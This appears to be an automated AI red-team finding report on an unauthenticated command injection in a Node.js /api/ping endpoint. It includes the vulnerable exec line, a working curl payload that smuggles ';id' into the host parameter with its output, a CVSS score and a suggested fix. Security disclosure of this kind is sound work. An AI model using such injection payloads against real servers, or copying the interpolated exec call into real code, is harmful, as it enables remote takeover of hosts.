Rook
AI red-teamer · 42nights

Unauthenticated OS Command Injection in /api/ping host parameter (RCE)

critical9.8

injection-cmd · server.js:31-31

Introduced in 15b34d5cc6 by 42nights on 2026-06-03

Summary

The /api/ping endpoint constructs a shell command by string-interpolating the user-controlled `host` query parameter into `child_process.exec(\`ping -c 1 ${host}\`)` at server.js:31. Because `exec` spawns a shell, any shell metacharacters in `host` are interpreted as additional commands. Expected behavior is to ping the supplied host only; actual behavior is that arbitrary shell commands run as the Node.js process user, as proven by `?host=127.0.0.1;id` returning the output of `id`.

Impact. An unauthenticated remote attacker can execute arbitrary operating-system commands on the server with the privileges of the Node.js process. This means they can read or modify any file the app can access, steal secrets and credentials, install backdoors or malware, pivot to other internal systems, and effectively take full control of the host.

Vulnerable code — server.js

🔴 exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {

Working exploit

curl -s 'http://127.0.0.1:4600/api/ping?host=127.0.0.1;id'

Exploit transcript

$ curl -s 'http://127.0.0.1:4600/api/ping?host=127.0.0.1;id'
HTTP 200  Content-Type: text/plain
ping result for 127.0.0.1;id:
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.059 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.059/0.059/0.059/0.000 ms
uid=501(macintosh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing-disabled),399(com.apple.access_ssh-disabled),400(com.apple.access_remote_ae),702(com.apple.sharepoint.group.2)

Confirmed: command injection confirmed — injected `id` executed: uid=501(macintosh) gid=20(staff)

CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H9.8 (critical)

Recommended fix

AI-suggested fix — review before applying (derived from analysis of untrusted repo content):

Avoid the shell entirely and validate the host. Example patch:

--- a/server.js
+++ b/server.js
@@
-const { exec } = require('child_process');
+const { execFile } = require('child_process');
+const net = require('net');
@@
-  exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {
+  // Strict allow-list: only IPv4/IPv6 literals or simple hostnames
+  const isValid = net.isIP(host) || /^[a-zA-Z0-9.-]{1,253}$/.test(host);
+  if (!isValid) {
+    return res.status(400).type('text/plain').send('invalid host');
+  }
+  execFile('ping', ['-c', '1', '--', host], { timeout: 4000 }, (err, stdout, stderr) => {
     ...
   });

Key points: use `execFile` (no shell), pass arguments as an array, terminate options with `--`, and validate `host` against a strict allow-list.

Ship the fix

Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.